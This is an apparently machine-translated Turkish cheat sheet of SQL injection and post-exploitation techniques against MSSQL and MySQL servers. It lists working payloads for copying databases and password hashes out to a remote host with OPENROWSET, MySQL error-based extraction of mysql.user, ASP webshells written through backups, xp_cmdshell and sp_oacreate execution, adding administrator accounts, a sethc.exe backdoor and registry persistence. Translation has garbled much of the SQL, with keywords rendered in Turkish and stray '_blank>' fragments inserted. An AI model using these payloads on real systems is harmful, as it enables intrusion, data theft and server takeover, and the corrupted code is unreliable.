3. Hedef ana bilgisayarın tüm _blank> veritabanını kopyalayın ve tüm uzak tabloları yerel tabloya ekleyin.

Temel sözdizim:
insert into OPENROWSET(SQLOLEDB, server=servername; uid=sa; pwd=123, tablodan * seç) seç

* Tablo 2'den
Bu satır ifadesi, hedef ana bilgisayardaki table2 tablosundan tüm verileri uzak _blank> veritabanındaki table1 tablosuna kopyalar. Pratik uygulamada uygun onarımlar

Bağlantı dizisinin IP adresini ve portunu ihtiyacınız olan yere yönlendirecek şekilde değiştirin, örneğin:
insert into OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; Adres=192.168.0.1,1433; ,seç

* tablo1'den) * tablo 2'den seç
insert into OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; Adres=192.168.0.1,1433; ,seç

* _blank>_sysdatabases'dan)
Master.dbo.sysdatabases'ten * seç
insert into OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; Adres=192.168.0.1,1433; ,seç

* _blank>_sysobjects'dan)
user_blank>_database.dbo.sysobjects arasından * seç
insert into OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; Adres=192.168.0.1,1433; ,seç

* _blank>_syscolumns'dan)
user_blank>_database.dbo.syscolumns'tan * seç
Veritabanını _blank> çoğaltın:
insert into OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; Adres=192.168.0.1,1433; ,seç

* tablo 1'den) veritabanından * seç.. Tablo1
insert into OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; Adres=192.168.0.1,1433; ,seç

* tablo 2'den) veritabanından * seç.. Tablo 2

Hash tablosunu (HASH) kopyalayan şifrenin hash _blank> şifresi sysxlogins'te saklanır. İşte nasıl yapılacak:
insert into OPENROWSET(SQLOLEDB,

uid=sa; pwd=123; Network=DBMSSOCN; Adres=192.168.0.1,1433; ,_blank>_sysxlogins'dan * seç)

Database .dbo.sysxlogins from * seç
Hash'i aldıktan sonra kaba kuvvet ile yapabiliyorsunuz.

Dizini gezmek için: Önce geçici bir tablo oluşturun: temp
; create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); –
; Temp exec master.dbo.xp_blank>_availablemedia; – Tüm mevcut sürücüleri alın
; Temp(id) icec master.dbo.xp_blank>_subdirs c:\; – Alt dizinlerin listesini alın
; Insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\; – Tüm alt dizinler için dizin ağacı yapısını alın,

İnçleri geçici tabloya birleştirin
; Insert into temp(id) exec master.dbo.xp_blank>_cmdshell type c:\web\index.asp; – Bir dosyayı görüntüle

İçerik
; Temp(id) icec master.dbo.xp_blank>_cmdshell direksiyona c:\; –
; Temp(id) exec master.dbo.xp_blank>_cmdshell dir'e c:\ *.asp /s/a'ya ekleyin; –
; insert into temp(id) exec master.dbo.xp_blank>_cmdshell cscrip{filter}t C:\Inetpub\Adminscrip{filter}ts

\adsutil.vbs enum w3svc
; Insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\; – (xp_blank>_dirtree Geçerli Yetki

HALK)
Masaya yaz:
ifade 1: ve 1=(Select IS_blank>_SRVROLEMEMBER(sysadmin)); –
Bildirim 2: ve 1=(Seç IS_blank>_SRVROLEMEMBER(serveradmin)); –
Açıklama 3: ve 1=(Seç IS_blank>_SRVROLEMEMBER(setupadmin)); –
Statement 4: ve 1=(Select IS_blank>_SRVROLEMEMBER(securityadmin)); –
Bildirim 5: ve 1=(Seç IS_blank>_SRVROLEMEMBER(securityadmin)); –
İfade 6: ve 1=(Seç IS_blank>_SRVROLEMEMBER(diskadmin)); –
İfade 7: ve 1=(Seç IS_blank>_SRVROLEMEMBER(bulkadmin)); –
İfade 8: ve 1=(Seç IS_blank>_SRVROLEMEMBER(bulkadmin)); –
Bildirim 9: ve 1=(Seç IS_blank>_MEMBER(db_blank>_owner)); –

Tabloya giden yolu yaz:
; create table dirs(paths varchar(100), id int)–
; DIRS Exec master.dbo.xp_blank>_dirtree C:\–
ve 0<>(dirs'ten en iyi 1 yolu seç)–
ve 0<>(DIR'lerden en iyi 1 yolu seçin, burada yollar @Inetpub))–
; create table dirs1(paths varchar(100), id int)–
; DIRS Exec master.dbo.xp_blank>_dirtree Insert E:\Web–
ve 0<>(dirs1'den en iyi 1 yolu seç)–

_blank> veritabanını bir web dizinine yedekleyin: İndir
; @a sysname ilan et; küme @a=db_blank>_name(); yedekleme veritabanı @a disk=e:\web\down.bak; –

ve 1=(En üst 12 ismi seç (Üst 12 id'yi seç, sysobjects'ten ad burada xtype=char(85)) T

id desc tarafından sipariş edilen)
ve 1=(Sysobjects'ten Top 1 col_blank>_name(object_blank>_id(USER_blank>_LOGIN),1) seç) Ayrıca bakınız

İlgili tablolar.
ve 1=(USER_blank>_LOGIN'den user_blank>_id seç)
ve 0=(kullanıcıyı USER_blank>_LOGIN buradan seç>1)

-=- wscrip{filter}t.shell örneği -=-
@o int bildirmek
exec sp_blank>_oacreate wscrip{filter}t.shell, @o out
exec sp_blank>_oamethod @o, koş, NULL, notepad.exe
; declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,

NULL, notepad.exe–

declare @o int, @f int, @t int, @ret int
@line varchar ilan et(8000)
exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o out
exec sp_blank>_oamethod @o, opentextfile, @f out, c:\boot.ini, 1
exec @ret = sp_blank>_oamethod @f, readline, @line out
while( @ret = 0 )
Başlamak
Baskı @line
exec @ret = sp_blank>_oamethod @f, readline, @line out
Son

declare @o int, @f int, @t int, @ret int
exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o out
exec sp_blank>_oamethod @o, createtextfile, @f out, c:\inetpub\wwwroot\foo.asp, 1
exec @ret = sp_blank>_oamethod @f, writeline, NULL,
<% set o = server.createobject("wscrip{filter}t.shell"): o.run( request.querystring("cmd") ) %>

declare @o int, @ret int
exec sp_blank>_oacreate speech.voicetext, @o out
exec sp_blank>_oamethod @o, register, NULL, foo, bar
yönetici sp_blank>_oasetproperty @o, hız, 150
exec sp_blank>_oamethod @o, konuş, NULL, tüm devam oyunları sunucuların bize ait, 528
gecikme bekle 00:00:05

; @o int, @ret int exec sp_blank>_oacreate speech.voicetext, @o out exec

sp_blank>_oamethod @o, register, NULL, foo, bar exec sp_blank>_oasetproperty @o, speed, 150 exec

sp_blank>_oamethod @o, konuş, NULL, tüm devam sunucuların bize ait, 528 gecikme bekle

00:00:05–

xp_blank>_dirtree ilgili KAMU izni
icec master.dbo.xp_blank>_dirtree c: Geri dönen bilginin iki alanı vardır: alt dizin, derinlik. Alt dizin alanları

Karakter türü, derinlik alanı şekillendirme alanıdır.
create table dirs(paths varchar(100), id int)
Tablo oluşturma, burada oluşturulan tablo yukarıdaki xp_blank>_dirtree ile ilişkilidir, eşit alanlar ve aynı tür.
DIRS icec master.dbo.xp_blank>_dirtree c: Bir tablo oluşturduğumuz ve depolama sürecinden gelen alanları eşit şekilde tanımladığımız sürece

Uygula! Tablo yazma etkisini elde etmek için, adım adım istediğimiz bilgiyi elde edin!
Bu hata enjeksiyonu esas olarak Mysql veri tipi taşmasına dayanmaktadır
    mysql > SELECT 18446744073709551610 * 2 ;
    HATA 1690 (22003): BIGINT İŞARETSIZ DEĞERİ '(18446744073709551610 * 2)' aralığının dışında

    mysql > SELECT - 1 * 9223372036854775808 ;
    HATA 1690 ( 22003 ): BIGINT İMZASIZ DEĞERİ '(- (1) * aralığında

9223372036854775808)'
Veritabanı versiyonunu sorgulama:
    mysql> SELECT * 2 (if ((SELECT * from (SELECT (versiyon ())) ) s), 18446744073709551610,

18446744073709551610));
    HATA 1690 (22003): BIGINT İMZASIZ değeri '(2 * if (( Select ' 5.5 'from

İkili), 18446744073709551610.18446744073709551610))'
Alan adını alın:
    mysql> SELECT 2 * if((SELECT * from (select * from test.shop) as ''limit 1)>(SELECT * from from

test.shop limit 1), 18446744073709551610, 18446744073709551610);

    HATA 1690 (22003): BIGINT İMZASIZ değeri '(2 * if((((select

'article','dealer','price' ('test'.'shop'.'article' AS seçeneklerinden 'article' seçin

'makale','test'.'shop'.'dealer' AS 'bayi','test'.'shop'.'price' AS 'price' from

'test'.'shop') sınırı 1) > (seç

'test'.'alışveriş'.'makale','test'.'mağaza'.'satıcı','test'.'market'.'market'.'test'.'fiyat' 'test'.'mağaza' limiti

1)),18446744073709551610,18446744073709551610))'
Alan değerini alın:

    mysql> SELECT 2 * if((SELECT * from (select * from (select* from (mysql.user) LIMIT 1) as ''limit 1) as ''limit 1) <

(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),

18446744073709551610, 18446744073709551610);

    HATA 1690 (22003): BIGINT İMZASIZ değeri '(2 * if((((select

'YEREL HOST','ROOT','*','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','

Y','Y','Y','Y','Y','Y','Y','Y','','0','','' ÇIFT LIMIT 1'DEN)

<

(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2)),184467440

73709551610,18446744073709551610))'

Bu yöntemin Mysql'in eski sürümlerinde çalışmadığını ve hata mesajının uzunluk sınırını bilmeniz gerektiğini unutmayın; çünkü bu durumu belirleyecektir

İstediğiniz kadar uzun alabilirsiniz:
    Mysys / my_error.c

    /* Hata mesajının maksimum uzunluğu. MYSQL_ERRMSG_SIZE ile senkronize tutulmalı. */
    #define ERRMSGSIZE (512)

Nesne MariaDB ise (Mysql'in bir çatalı), yukarıdaki yöntemi denediğinizde böyle bir hata mesajı görebilirsiniz:

    mysql> SELECT 2*(if((SELECT * from (SELECT (version()))s), 18446744073709551610,

18446744073709551610))
    HATA 1690 (22003): BIGINT İMZASIZ değeri '(2 * if((select

#),18446744073709551610,18446744073709551610))'

Bir çözüm olarak, bu sorun şu şekilde çözülebilir:

    mysql> SELECT (I NULL DEĞIL) - -9223372036854775808 FROM (SELECT (version())i)a;
    HATA 1690 (22003): BIGINT değeri '(('5.5-MariaDB' null değil) içinde aralık dışında - -

(9223372036854775808))'
Şimdi bakalım Vektörümüzü biraz kısaltabilir miyiz

//查询数据库版本

    SELECT 2*(if((SELECT * from (SELECT (version()))s), 18446744073709551610,

18446744073709551610))
    =
    select 1E308*if((select*from(select version())x),2,2)

    SELECT (i NULL DEYİL) - -9223372036854775808 FROM (SELECT (version())i)a
    =
    select if(x,2,2)*1E308 from(select version()x)y
//获取表字段名称
    SELECT 2 * if((SELECT * from (select * from test.shop) as ''limit 1)>(SELECT * from from

test.shop limit 1), 18446744073709551610, 18446744073709551610)
    =
    select 1E308*if((select*from(select*from mysql.user)''limit 1)>(select*from mysql.user limit

1),2,2)

//获取字段值

    SELECT 2 * if((SELECT * from (select * from (mysql.user) LIMIT 1) as ''limit 1) olarak <

(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5 ,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),

18446744073709551610, 18446744073709551610)
    =
    select 1E308*if((select*from(select*from mysql.user LIMIT 1)''limit 1)<(select*from

mysql.user limit 0),2,2)
//获取指定字段的值
    select 1E308*if((select user|| sunucu|| password|| file_priv from(select*from mysql.user LIMIT'i

1)bir sınır 1),2,2)
//获取字段个数


    select 1E308*if((select*from mysql.user limit 1)>(select 1),2,2)



Bazı diğer deformasyonlar

    SELECT (i NULL DEYİL) - -9223372036854775808 FROM (SELECT (version())i)a
    select 1E308*if((select user|| sunucu|| password|| file_priv from(select*from mysql.user LIMIT'i

1) bir sınır 1),2,2);
    =>
    select 2*if((select user|host|password|file_priv from(select*from mysql.user LIMIT 1)a limit

1),1e308,0);
    mysql> select (select * from mysql.user)=1;
    mysql> select (mysql.user'dan * seç) in(1);

    HATA 1241 (21000): Operand 42 sütun(lar) içermelidir
    select 2*if((select user|host|password|file_priv from(select*from mysql.user LIMIT 1)a limit

1),1e308,0);
    select if((select user|| sunucu|| password|| file_priv from(select*from mysql.user LIMIT 1)a

limit 1),2,2)*1E308
    SELECT (i NULL DEYİL) - -9223372036854775808 FROM (SELECT (version())i)a
    select (x!=0x00)--9223372036854775808 from(SELECT version()x)y
    mysql> select!x-~0.FROM(select+user()x)f;
    HATA 1690 (22003): BIGINT İMZASIZ değeri '((not('root@localhost')) - ~

(0))'
3. Veritabanı sistemini yargılayın
; ve (sysobjects'ten selectcount(*))>0 mssql
; ve (msysobjects'ten count(*) seç)>0 erişim
4. Enjeksiyon parametresi bir karakterdir
've [sorgulama kriterleri] ve ''='
5. Arama sırasında filtrelenmiş parametreler yoktur
've [sorgulama kriterleri] ve '%25'='
6. Veritabanını tahmin et
; ve ([veritabanı adı]'dan Count(*) seçin)>0
7. Alanı tahmin et
; ve (veritabanı adından Count(alan adı)'nı seçin)>0
8. Sahadaki rekorun uzunluğunu tahmin et
; ve (veritabanı adından en üst 1 len (alan adı) seçin)>0
9. (1) Alanın ASCII değerini tahmin et (erişim)
; ve (veritabanı adından en üst 1 ASC(mid(alan adı, 1,1)))>0 seçin
(2) Alanın ASCII değerini tahmin et (mssql)
; ve (veritabanı adından en üst 1 unicode(substring(alan adı, 1,1))))>0 seçin
10. Test İzni Yapısı (mssql)
; ve 1=(select IS_SRVROLEMEMBER('sysadmin')); --
; ve 1=(select IS_SRVROLEMEMBER('serveradmin')); --
; ve 1=(select IS_SRVROLEMEMBER('setupadmin')); --
; ve 1=(IS_SRVROLEMEMBER('securityadmin')'i seçin); --
; ve 1=(select IS_SRVROLEMEMBER('diskadmin')); --
; ve 1=(select IS_SRVROLEMEMBER('bulkadmin')); --
; ve 1=(select IS_MEMBER('db_owner')); --
11. mssql ve sistem için bir hesap ekleyin
; yönetici master.dbo.sp_addlogin kullanıcı adı; --
; exec master.dbo.sp_password null,username,password; --
; yönetici master.dbo.sp_addsrvrolemember sistem yöneticisi kullanıcı adı; --
; exec master.dbo.xp_cmdshell 'net kullanıcı kullanıcı adı şifresi /workstations:* /times:all

/passwordchg:yes /passwordreq:yes /active:yes /add';--
; exec master.dbo.xp_cmdshell 'net kullanıcı adı şifresi /add'; --
; exec master.dbo.xp_cmdshell 'net localgroup yöneticileri kullanıcı adı /add'; --
12. (1) Kataloğu gezin
; create table dirs(paths varchar(100), id int)
; DIRS yöneticisi master.dbo.xp_dirtree 'c:\' ekleyin
; ve (dirs'ten en iyi 1 yolu seçin)>0
; ve (dir'lerden en iyi 1 yolu seçin, burada yollar içeride değil ('önceki adımdan elde edilen yollar'))))>)
(2) Kataloğu dolaşın
; create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); --
; Temp exec master.dbo.xp_availablemedia ekleyin; -- Tüm mevcut sürücüleri alın
; Temp(id) yöneticisi master.dbo.xp_subdirs 'c:\'; -- Alt dizinlerin listesini alın
; temp(id,num1) exec master.dbo.xp_dirtree 'c:\'; -- Tüm alt dizinler için dizin ağacı yapısını alın
; Temp(id) yöneticisine master.dbo.xp_cmdshell 'c:\web\index.asp' yaz; -- Dosyanın içeriğini görüntüleyin
13. MSSQL'de saklanan prosedürler
xp_regenumvalues Kayıt defteri kök anahtarı, alt anahtar
; exec xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' ve daha fazlası

Tüm anahtar değerlerini döndürmek için kayıt seti yöntemi
xp_regread Kök anahtar, çocuk anahtar, anahtar-değer adı
; exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows

\CurrentVersion', 'CommonFilesDir' formülasyon anahtarının değerini döndürür
xp_regwrite Kök anahtar, alt anahtar, değer adı, değer türü, değer
İki tür değer tipi vardır REG_SZ REG_DWORD karakter tipleri ve tam sayılar için
; exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows

\CurrentVersion', 'TestvalueName','reg_sz', 'hello' kayıt defterine yazılır
xp_regdeletevalue Kök anahtar, alt anahtar, değer adı
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows

\CurrentVersion', 'TestvalueName' ile bir değeri kaldırmak için
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' silme tuşu,

O anahtarın altında tüm değerleri dahil edin
14. mssql yedeklemesi bir webshell oluşturur
Model Kullanın
tablo oluştur cmd(str görsesi);
içine cmd(str) değerleri ekleyin ('<% Dim oscrip{filter}t %>');
yedekleme veritabanı modeli disk='c:\l.asp';
15. MSSQL yerleşik fonksiyonları
; ve (@@version)>0 ile Windows'un sürüm numarasını elde etmek için
; ve user_name()='dbo' ile mevcut sistemin bağlı kullanıcısının SA olup olmadığını belirlemek için
; ve (select user_name()))>0 Mevcut sistemin bağlı kullanıcılarını patlattı
; ve (db_name())>0 seçeneğine göre mevcut bağlı veritabanını elde etmek için
16. Kısa web kabuğu
Model Kullanın
tablo oluştur cmd(str görsesi);
Insert into cmd(str) values ('<%=server.createobject("wscrip{filter}t.shell").exec("cmd.exe /c

"&request("c")).stdout.readall%>');
yedekleme veritabanı modeli disk='g:\wwwtest\l.asp';
İsterken şöyle bir şey kullanın:
http://ip/l.asp?c=dir
================================================================================================

================================================================================================

================================================================================================

================================================================================================

============================
Tüm veritabanı adlarını, sistem veritabanları dahil olmak üzere alın
–Master.dbo.sysdatabases'ten NAME SEÇİP

Tüm sistem dışı veritabanı isimlerini elde edin
–master.dbo.sysdatabases'ten [name] seç, burada DBId>6 Sıra [İsme]

Tüm bilgileri, veritabanı dosya adresi dahil olmak üzere alın
–master.dbo.sysdatabases sitesinden * seç burada DBId>6 Sırayla

[İsim]



Bu ifade sorgusu tüm kullanıcı tablolarını döndürür

Xtype='U' olduğu sysobjects'ten * seçin


Sistemdeki tüm veri tablosu bilgilerini sorgulayın

SysObjects'ten * seç



Makine adına bak
sys.server'ten * seç





Sütun İçindekiler
yönetici master.dbo.xp_subdirs 'c:\'


Yönetici master.dbo.xp_dirtree 'c:',1,1 db_owner
İzinler uygulanabilir


exec master.dbo.xp_dirtree 'c:/Program Files',1,1





Webshell'e yazılmış program kodu


exec master.dbo.xp_subdirs 'd:\web\www.xx.com';
Yönetici sp_makewebtask 'D:

\web\www.XXXX.com\XX.asp','select"<%execute(request("SB"))%>"






Ustayı idam et.. xp_enumgroups  


Traverse sistemi kullanıcıları


Ustayı idam et.. xp_getnetname
Mevcut makine adını alın


--Sabit sürücüleri sunucuda listeleyin ve her sürücü için kullanılabilir alanı ekleyin
   dbo halka açık


icat etmek

xp_ntsec_enumdomains


--
MSSQL'ye giriş yapmak için bir hesap oluşturun
yönetici master.dbo.sp_addlogin adı, pass; --






--
Sunucu alan adını listele
xp_ntsec_enumdomains //
Makine adı //dbo public


--
Bir hizmeti durdurmak veya başlatmak
xp_servicecontrol 'dur', 'schedule' //schedule hizmet adıdır //dbo


--Pid kullanın

Çalışan bir programı durdur
xp_terminate_process 123 //123 PID //dbo'dur


--
Bir dizindeki sadece alt dizinler listelenir
dbo.xp_subdirs 'C:' //dbo


SQL Server
2005 yılında xp_cmdshell'nin açılma yöntemi
EXECUTIVE sp_configure 'gelişmiş seçenekleri göster', 1; YENIDEN KONFIGÜRASYON; YÖNETICI

sp_configure 'xp_cmdshell', 1; YENIDEN KONFIGÜRASYON;

SQL2005 'OPENROWSET'i aç
Desteklenen yöntemler:
exec sp_configure 'gelişmiş seçenekleri göster', 1; YENIDEN KONFIGÜRASYON; yönetici sp_configure 'Ad Hoc

Dağıtılmış Sorgular',1; YENIDEN KONFIGÜRASYON;

'sp_oacreate' desteğini etkinleştirmek için SQL2005:
exec sp_configure 'gelişmiş seçenekleri göster', 1; YENIDEN KONFIGÜRASYON; yönetici

sp_configure 'Ole Otomasyon Prosedürleri',1; YENIDEN YAPIRILANDIRMA





SQL Server 2008'de xp_cmdshell nasıl etkinleştirilir


-- Gelişmiş seçeneklerin değiştirilmesine izin vermek için.
YÖNETICI

sp_configure 'gelişmiş seçenekleri göster', 1
GIT
-- Şu anda yapılandırılmış değeri güncellemek için

gelişmiş seçenekler.
YENIDEN YAPIRILANDIRMA
GIT
-- Özelliği etkinleştirmek için.
YÖNETICI sp_configure 'xp_cmdshell', 1
GIT
--Hedef

Bu özellik için mevcut yapılandırılmış değeri güncelleyin.
YENIDEN YAPIRILANDIRMA
GIT


exec xp_cmdshell 'ipconfig'



Bugün, veritabanı sunucusunun SA giriş şifresini değiştirmek istedim ama aniden unuttum, bu yüzden SA şifresini değiştirmek için diğer hesapların yardımıyla sorgu analizörünü açmak zorunda kaldım

Çok basit:


Uygulama:
sp_password Null,'teracypwd,'sa'
SA şifresini "teracypwd" olarak ayarla


Başarılı idamdan sonra

"Komut(lar) başarıyla tamamlandı" var.  TAMAM!








veritabanı izininde, MSSQL veritabanı sunucusu IP'sini alma yöntemini ayırın


1. Yerel NC NC dinliyor -VVLP 80


2.; içine

OPENROWSET('SQLOLEDB','uid=sa; pwd=xxx; Network=DBMSSOCN; Adres=IP adresiniz, 80; ', 'seç *

dest_table') src_table'dan * seç; --


OpenRowset'ten * seç

('sqloledb','server=125.110.145.130,6789; uid=sa; pwd=zhu','kullanıcı seç; ')





Veritabanı ithalatı ve dışa aktarımı

/*不同服务器数据库之间的数据操作*/

--Bağlantı sunucusu oluştur
yönetici sp_addlinkedserver   

'ITSV', 'SQLOLEDB', 'Uzak Sunucu Adı veya IP Adresi'
exec sp_addlinkedsrvlogin 'ITSV', 'yanlış

',null, 'kullanıcı adı', 'şifre'

--sorgu örneği
ITSV.database name.dbo.table name içinden * seç

--import örneği
Seç *

ITSV.databasename.dbo.tablename'den tabloya dönüştürülür.

--Bağlantılı sunucu gelecekte kullanılmıyorsa silin
'ITSV'sp_dropserver yöneticisi,

'droploginler'

--
Uzak/LAN verilerine bağlanma (openrowset/openquery/opendatasource)
--1、openrowset

--sorgu örneği
Seç *

openrowset( 'SQLOLEDB ', 'SQL sunucu adı'; 'Kullanıcı adı'; 'password', database name.dbo.table name)

--
Yerel bir tablo oluşturun
openrowset( 'SQLOLEDB ', 'SQL Server name' ' dan * tablosuna * seçin; 'Kullanıcı adı'; 'Şifre', numara

veritabanı adı.dbo. tablo adı)

--
Yerel tabloyu uzak tabloya aktarın
insert openrowset( 'SQLOLEDB', 'SQL sunucu adı'; 'Kullanıcı adı'; 'Şifreler', veritabanları

name.dbo.table name)
*Yerel tablodan seçin

--
Yerel tabloları güncelle
Güncelleme B
küme b. sütun A = a
openrowset( 'SQLOLEDB ', 'SQL sunucu adı'; 'Kullanıcı adı'; '

şifre ', veritabanı adı .dbo.table name) olarak iç birleştirme yerel tablo b olarak
a.column1=b.column1 üzerinde

--openquery
Kullanım için bir bağlantı kurulması gerekir

--Öncelikle, bir bağlantı sunucusu oluşturmak için bir bağlantı oluşturun
'ITSV'sp_addlinkedserver ' ' yöneticisi,

'SQLOLEDB', 'uzak sunucu adı veya ip adresi'
--Sorma
Seç *
AÇQUERY(ITSV, 'SELECT * FROM verisi'nden

library.dbo.table name ')
--
Yerel tabloyu uzak tabloya aktarın
insert openquery(ITSV, 'database.dbo.table name'den * seç')
Yerel içinden * seç

Tablo
--yerel tabloyu güncelle
Güncelleme B
küme b. sütun B=a
FROM openquery(ITSV, 'SELECT* FROM database.dbo.tablename')

  
iç birleşim yerel tablo b a. sütun A=b. sütun A

--3、opendatasource/openrowset
SELECT *
KAYNAK   

opendatasource( 'SQLOLEDB ', 'Data Source=ip/ServerName; Kullanıcı Kimliği=Giriş adı; Password=Password '

).test.dbo.roy_ta
--
Yerel tabloyu uzak tabloya aktarın



Silinme ve xp_cmdshell restorasyonu


İyileşme yolları xp_cmdshell   
Genişletilmiş depolanmış prosedürü sil xp_cmdshell

Açıklama   
yönetici sp_dropextendedproc 'xp_cmdshell'   



cmdshell'in sql ifadesini geri alın   
exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'   


yönetici

master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll'; Count(*) seç

master.dbo.sysobjects olarak xtype='x' ve   
Geri dönüş sonucu 1 ve sorun yok   


Aksi takdirde, c:\inetput\web dosyasını yüklemeniz gerekir

\xplog70.dll sonra   
exec master.dbo.sp_addextendedproc 'xp_cmdshell','c:\inetput\web\xplog70.dll

’; --   



Aşağıdaki şekilde silerseniz   
Drop prosedürü sp_addextendedproc   
Bırakma prosedürü sp_oacreate   
yönetici

sp_dropextendedproc 'xp_cmdshell'   



Aşağıdaki ifadeyle geri kazandırabilirsiniz   
dbcc addextendedproc ("sp_oacreate","odsole70.dll")   
DBCC

addextendedproc ("xp_cmdshell","xplog70.dll")   

Bu şekilde, var olup olmamasına bakılmaksızın doğrudan geri getirilebilir sp_addextendedproc






1、
Kullanın xp_cmdshell:
          exec master.dbo.xp_cmdshell "net user admin admin /add"
          yönetici

master.dbo.xp_cmdshell "net localgroup administrators admin /add"

xp_cmdshell durumda, sp_oamethod takip etmek için sp_oacreate kullanın:
          depreve @object int   
          yönetici

sp_oacreate 'wscrip{filter}t.Shell', @object out         
          yönetici sp_oamethod

@object,'Run',NULL,'net user admin admin /add'
          exec sp_oamethod @object,'Run',NULL,'net

localgroup Yöneticiler admin /add'

Not: regsvr32 /s c:\windows\system32\wshom.ocx
Start wscrip{filter}t.shell
3、
sp_oacreate ve FSO kullanın
          @o int bildirmek
          Yönetici sp_oacreate

'scrip{filter}ting.filesystemobject', @o out
          exec sp_oamethod @o, 'copyfile',null,'c:\windows

\explorer.exe' ,'c:\windows\system32\sethc.exe';
          @oo int bildirmek
          yönetici

sp_oacreate 'scrip{filtering}ting.filesystemobject', @oo out
          Yönetici sp_oamethod @oo,

'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';

xp_regwrite kullanın (db_owner, yeniden başlatma gerekiyor):
          yönetici master.dbo.xp_regwrite

'hkey_local_machine','software\microsoft\windows\currentversion\


run','eadd1','reg_sz','net user admin admin /add'
          yönetici master.dbo.xp_regwrite

'hkey_local_machine','software\microsoft\windows\currentversion\


run','eadd2','reg_sz','net localgroup administrators admin /add'
5. sp_add_job kullanın:
          yönetici

master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT'
          MSDB Exec sp_delete_job kullanın

null,'x'
          Yönetici sp_add_job 'X'
          Yönetici sp_add_jobstep

Null,'x',Null,'1','CMDEXEC','cmd /c net user admin admin /add'
          yönetici sp_add_jobserver

Null,'x'@@servername exec sp_start_job 'x'















Birçok SA, kum havuzu modunu doğrudan kullanarak birçok makinede başarılı oldu, ama ben hiç pratik yapmadım ve başarı oranını bilmiyorum. Uzantı çıkarıldığında, önce

Okuma ve yazma deposunu kayıt defterine geri getirin.
dbcc addextendedproc ('xp_regread','xpstar.dll')
DBCC addextendedproc

('xp_regwrite','xpstar.dll')



Kum havuzunun korunan modu düzeltildi
Yönetici Üsta.. xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet

\4.0\Engines','SandBoxMode','REG_DWORD',0; --



'SandBoxMode' değerinin 0'a dönüp dönmediğine bakın.


'HKEY_LOCAL_MACHINE' master.dbo.xp_regread YÖNETİCİ YAZILIMI

\Microsoft\Jet\4.0\Engines', 'SandBoxMode'



Son olarak, kum havuzu modunu çağırın
OpenRowSet('Microsoft.jet.OLEDB.4.0',' içinden * seçin; database=C:\WINDOWS

\system32\ias\dnary.mdb','select shell("cmd.exe /c net user passwd /add")')







Kum kutusu koruma modu "kapalı" değilse, bir hata bildirilir:
          Sunucu: Msg 7357, Seviye 16, Durum 2, Hat 1

'select shell("cmd.exe /c net user passwd /add")' nesnesini ele alanda başarısız oldu. OLE DB programlar sunmaktadır

Önsöz 'microsoft.jet.oledb.4.0' ise, nesnede hiçbir sütun olmadığını gösterir.

OLE DB hata takibi [Arayüz dışı hata: OLE veritabanı sağlayıcısı nesneyi işleyemiyor, çünkü nesne

nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user

user passwd /add")']。


2、
Eğer .mdb yoksa veya giriş yolu yanlışsa
           Sunucu: Msg 7399, Seviye 16, Durum 1, Hat 1

OLE DB provider 'microsoft.jet.oledb.4.0' hatası.
            [OLE/DB sağlayıcısı mesaj döndürdü:

'C:\WINDOWS\system32\ias\dnary1.mdb' dosyası bulunamadı. ]

OLE DB hata izi [OLE/DB Provider 'microsoft.jet.oledb.4.0' IDBInitialize::Initialize geri döndü

0x80004005: ]。


3. Giriş sürecinde daha fazla boşluk varsa, bir hata da bildirilir. Buna özellikle dikkat edin, birçok kişi doğrudan çevrimiçi makale arıyor

Yapıştırın ve çalıştırın.
          Sunucu: Msg 7357, Seviye 16, Durum 2, Hat 1
          Nesnenin 'select işlemesi başarısız oldu

shell("cmd.exe /c net user passwd /add")'。
OLE DB sağlayıcısı 'microsoft.jet.oledb.4.0', nesnede sütun olmadığını belirtir.

OLE DB hata takibi [Arayüz dışı hata:
OLE veritabanı sağlayıcısı nesneyi işleyemiyor, çünkü nesne

nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user user

passwd /add")']。


4、
MDB ve cmd.exe izinleri yanlışsa, sorun da ortaya çıkar.
          MDB izinleri yanlış olduğunda,
           Sunucu: Eleme

İlgi 7320, Kat 16, Eyalet 2, Hat 1

Cevap veremedi
OLE veritabanı sağlayıcısı 'Microsoft.Jet.OLEDB.4.0' sorguyu çalıştırır.
